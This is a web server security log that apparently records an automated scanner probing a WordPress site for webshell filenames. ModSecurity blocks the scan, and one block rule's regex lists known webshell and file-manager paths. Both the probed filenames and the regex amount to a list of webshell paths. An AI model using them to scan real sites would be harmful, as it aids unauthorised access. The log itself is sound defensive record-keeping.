[Fri Apr 10 17:46:29.699967 2026] [:error] [pid 13189:tid 13209] [client 74.248.114.205:23839] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "adjG9ZAxiJKPums3eBBXKQAAAFE"]
[Fri Apr 10 17:46:30.208064 2026] [:error] [pid 3934:tid 3957] [client 74.248.114.205:40202] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-turn.php"] [unique_id "adjG9oa41m-BS8mg82dsBAAAANI"]
[Fri Apr 10 17:46:30.731191 2026] [:error] [pid 3934:tid 3961] [client 74.248.114.205:47072] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-turn.php"] [unique_id "adjG9oa41m-BS8mg82dsBwAAANY"]
[Fri Apr 10 17:46:31.247523 2026] [:error] [pid 3934:tid 3950] [client 74.248.114.205:4136] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-turn.php"] [unique_id "adjG94a41m-BS8mg82dsDQAAAMs"]
[Fri Apr 10 17:46:31.758547 2026] [:error] [pid 13101:tid 13144] [client 74.248.114.205:47101] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-turn.php"] [unique_id "adjG998Ldw85818pj2qLkgAAAIs"]
[Fri Apr 10 17:46:32.281706 2026] [:error] [pid 3934:tid 3939] [client 74.248.114.205:43030] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "adjG-Ia41m-BS8mg82dsFQAAAMA"]
[Fri Apr 10 17:46:32.792077 2026] [:error] [pid 13101:tid 13137] [client 74.248.114.205:40234] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "adjG-N8Ldw85818pj2qLlAAAAIQ"]
[Fri Apr 10 17:46:33.320115 2026] [:error] [pid 3934:tid 3941] [client 74.248.114.205:42616] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "adjG-Ya41m-BS8mg82dsHgAAAMI"]
[Fri Apr 10 17:46:33.834096 2026] [:error] [pid 3934:tid 3948] [client 74.248.114.205:60667] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "adjG-Ya41m-BS8mg82dsJAAAAMk"]
[Fri Apr 10 17:46:34.345224 2026] [:error] [pid 3934:tid 3947] [client 74.248.114.205:60641] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/red.php"] [unique_id "adjG-oa41m-BS8mg82dsJwAAAMg"]
[Fri Apr 10 17:46:34.886278 2026] [:error] [pid 13100:tid 13119] [client 74.248.114.205:47102] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/red.php"] [unique_id "adjG-lzg-ZkZ0InWIP17IwAAAQ4"]
[Fri Apr 10 17:46:35.410160 2026] [:error] [pid 3934:tid 3946] [client 74.248.114.205:38505] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/red.php"] [unique_id "adjG-4a41m-BS8mg82dsLgAAAMc"]
[Fri Apr 10 17:46:35.937164 2026] [:error] [pid 13101:tid 13134] [client 74.248.114.205:38579] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/red.php"] [unique_id "adjG-98Ldw85818pj2qLmwAAAIE"]
[Fri Apr 10 17:46:36.457125 2026] [:error] [pid 3934:tid 3958] [client 74.248.114.205:47094] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "adjG_Ia41m-BS8mg82dsMwAAANM"]
[Fri Apr 10 17:46:36.974942 2026] [:error] [pid 3934:tid 3955] [client 74.248.114.205:21844] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "adjG_Ia41m-BS8mg82dsNwAAANA"]
[Fri Apr 10 17:46:37.485133 2026] [:error] [pid 13100:tid 13111] [client 74.248.114.205:38591] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "adjG_Vzg-ZkZ0InWIP17KwAAAQY"]
[Fri Apr 10 17:46:38.003166 2026] [:error] [pid 13189:tid 13212] [client 74.248.114.205:23810] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "adjG_pAxiJKPums3eBBXNQAAAFQ"]
[Fri Apr 10 17:46:38.517483 2026] [:error] [pid 13189:tid 13214] [client 74.248.114.205:43032] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "adjG_pAxiJKPums3eBBXNwAAAFY"]
[Fri Apr 10 17:46:39.030745 2026] [:error] [pid 13100:tid 13110] [client 74.248.114.205:48748] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "adjG_1zg-ZkZ0InWIP17LQAAAQU"]
[Fri Apr 10 17:46:39.534910 2026] [:error] [pid 3934:tid 3956] [client 74.248.114.205:32739] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "adjG_4a41m-BS8mg82dsTAAAANE"]
[Fri Apr 10 17:46:40.040211 2026] [:error] [pid 13100:tid 13117] [client 74.248.114.205:48722] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "adjHAFzg-ZkZ0InWIP17LwAAAQw"]
[Fri Apr 10 17:46:40.547424 2026] [:error] [pid 13100:tid 13118] [client 74.248.114.205:31181] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "adjHAFzg-ZkZ0InWIP17MgAAAQ0"]
[Fri Apr 10 17:46:41.066852 2026] [:error] [pid 13189:tid 13206] [client 74.248.114.205:40240] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "adjHAZAxiJKPums3eBBXQAAAAE4"]
[Fri Apr 10 17:46:41.582523 2026] [:error] [pid 3934:tid 3945] [client 74.248.114.205:28078] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "adjHAYa41m-BS8mg82dsUQAAAMY"]
[Fri Apr 10 17:46:42.111752 2026] [:error] [pid 3934:tid 3944] [client 74.248.114.205:47047] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "adjHAoa41m-BS8mg82dsVAAAAMU"]
[Fri Apr 10 17:46:42.629215 2026] [:error] [pid 13100:tid 13117] [client 74.248.114.205:51356] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "adjHAlzg-ZkZ0InWIP17OgAAAQw"]
[Fri Apr 10 17:46:43.159997 2026] [:error] [pid 13100:tid 13114] [client 74.248.114.205:47067] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "adjHA1zg-ZkZ0InWIP17OwAAAQk"]
[Fri Apr 10 17:46:43.676990 2026] [:error] [pid 13100:tid 13129] [client 74.248.114.205:47081] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "adjHA1zg-ZkZ0InWIP17PwAAARg"]
[Fri Apr 10 17:46:44.223156 2026] [:error] [pid 3934:tid 3948] [client 74.248.114.205:37119] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "adjHBIa41m-BS8mg82dsWgAAAMk"]
[Fri Apr 10 17:46:44.732649 2026] [:error] [pid 3934:tid 3949] [client 74.248.114.205:32749] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xs.php"] [unique_id "adjHBIa41m-BS8mg82dsXwAAAMo"]
[Fri Apr 10 17:46:45.239967 2026] [:error] [pid 3934:tid 3941] [client 74.248.114.205:37070] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xs.php"] [unique_id "adjHBYa41m-BS8mg82dsZgAAAMI"]
[Fri Apr 10 17:46:45.750610 2026] [:error] [pid 13189:tid 13208] [client 74.248.114.205:38960] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xs.php"] [unique_id "adjHBZAxiJKPums3eBBXSwAAAFA"]
[Fri Apr 10 17:46:46.346971 2026] [:error] [pid 3934:tid 3941] [client 74.248.114.205:60609] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xs.php"] [unique_id "adjHBoa41m-BS8mg82dscAAAAMI"]
[Fri Apr 10 17:46:46.864841 2026] [:error] [pid 3934:tid 3958] [client 74.248.114.205:37112] [client 74.248.114.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "adjHBoa41m-BS8mg82dscwAAANM"]
[Fri Apr 10 17:46:47.402038 2026] [:error] [pid 3934:tid 3962] [client 74.248.114.205:4660] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "adjHB4a41m-BS8mg82dseAAAANc"]
[Fri Apr 10 17:46:47.931319 2026] [:error] [pid 13189:tid 13210] [client 74.248.114.205:38564] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "adjHB5AxiJKPums3eBBXTwAAAFI"]
[Fri Apr 10 17:46:48.450618 2026] [:error] [pid 3934:tid 3950] [client 74.248.114.205:22278] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "adjHCIa41m-BS8mg82dsfwAAAMs"]
[Fri Apr 10 17:46:48.999393 2026] [:error] [pid 13189:tid 13196] [client 74.248.114.205:38930] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myy.php"] [unique_id "adjHCJAxiJKPums3eBBXVwAAAEQ"]
[Fri Apr 10 17:46:49.527850 2026] [:error] [pid 13102:tid 13177] [client 74.248.114.205:48324] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myy.php"] [unique_id "adjHCf9xLvjW2guI55ZHBAAAABE"]
[Fri Apr 10 17:46:50.072629 2026] [:error] [pid 13102:tid 13160] [client 74.248.114.205:22329] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myy.php"] [unique_id "adjHCv9xLvjW2guI55ZHCQAAAAA"]
[Fri Apr 10 17:46:50.596707 2026] [:error] [pid 13101:tid 13141] [client 74.248.114.205:31178] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myy.php"] [unique_id "adjHCt8Ldw85818pj2qLugAAAIg"]
[Fri Apr 10 17:46:51.108955 2026] [:error] [pid 3934:tid 3961] [client 74.248.114.205:48369] [client 74.248.114.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "adjHC4a41m-BS8mg82dsgAAAANY"]
[Fri Apr 10 17:46:51.617204 2026] [:error] [pid 13100:tid 13125] [client 74.248.114.205:37178] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wdone1.php"] [unique_id "adjHC1zg-ZkZ0InWIP17RgAAARQ"]
[Fri Apr 10 17:46:52.124533 2026] [:error] [pid 13102:tid 13163] [client 74.248.114.205:34692] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wdone1.php"] [unique_id "adjHDP9xLvjW2guI55ZHDwAAAAM"]
[Fri Apr 10 17:46:52.641768 2026] [:error] [pid 13102:tid 13183] [client 74.248.114.205:44209] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wdone1.php"] [unique_id "adjHDP9xLvjW2guI55ZHEAAAABc"]
[Fri Apr 10 17:46:53.153620 2026] [:error] [pid 13189:tid 13216] [client 74.248.114.205:37064] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "adjHDZAxiJKPums3eBBXaQAAAFg"]
[Fri Apr 10 17:46:53.661465 2026] [:error] [pid 13189:tid 13204] [client 74.248.114.205:22292] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "adjHDZAxiJKPums3eBBXbgAAAEw"]
[Fri Apr 10 17:46:54.181530 2026] [:error] [pid 3934:tid 3951] [client 74.248.114.205:32753] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "adjHDoa41m-BS8mg82dshAAAAMw"]
[Fri Apr 10 17:46:54.719148 2026] [:error] [pid 13189:tid 13198] [client 74.248.114.205:51377] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "adjHDpAxiJKPums3eBBXdwAAAEY"]
[Fri Apr 10 17:46:55.231583 2026] [:error] [pid 13101:tid 13146] [client 74.248.114.205:28141] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wsheet1.php"] [unique_id "adjHD98Ldw85818pj2qLvwAAAI0"]
[Fri Apr 10 17:46:55.760536 2026] [:error] [pid 13101:tid 13135] [client 74.248.114.205:22275] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wsheet1.php"] [unique_id "adjHD98Ldw85818pj2qLwwAAAII"]
[Fri Apr 10 17:46:56.271071 2026] [:error] [pid 13101:tid 13136] [client 74.248.114.205:48723] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wsheet1.php"] [unique_id "adjHEN8Ldw85818pj2qLxwAAAIM"]
[Fri Apr 10 17:46:56.784407 2026] [:error] [pid 13102:tid 13171] [client 74.248.114.205:22308] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wsheet1.php"] [unique_id "adjHEP9xLvjW2guI55ZHFwAAAAs"]
[Fri Apr 10 17:46:57.304940 2026] [:error] [pid 13189:tid 13198] [client 74.248.114.205:26126] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccs.php"] [unique_id "adjHEZAxiJKPums3eBBXgQAAAEY"]
[Fri Apr 10 17:46:57.818928 2026] [:error] [pid 13100:tid 13116] [client 74.248.114.205:28081] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccs.php"] [unique_id "adjHEVzg-ZkZ0InWIP17UAAAAQs"]
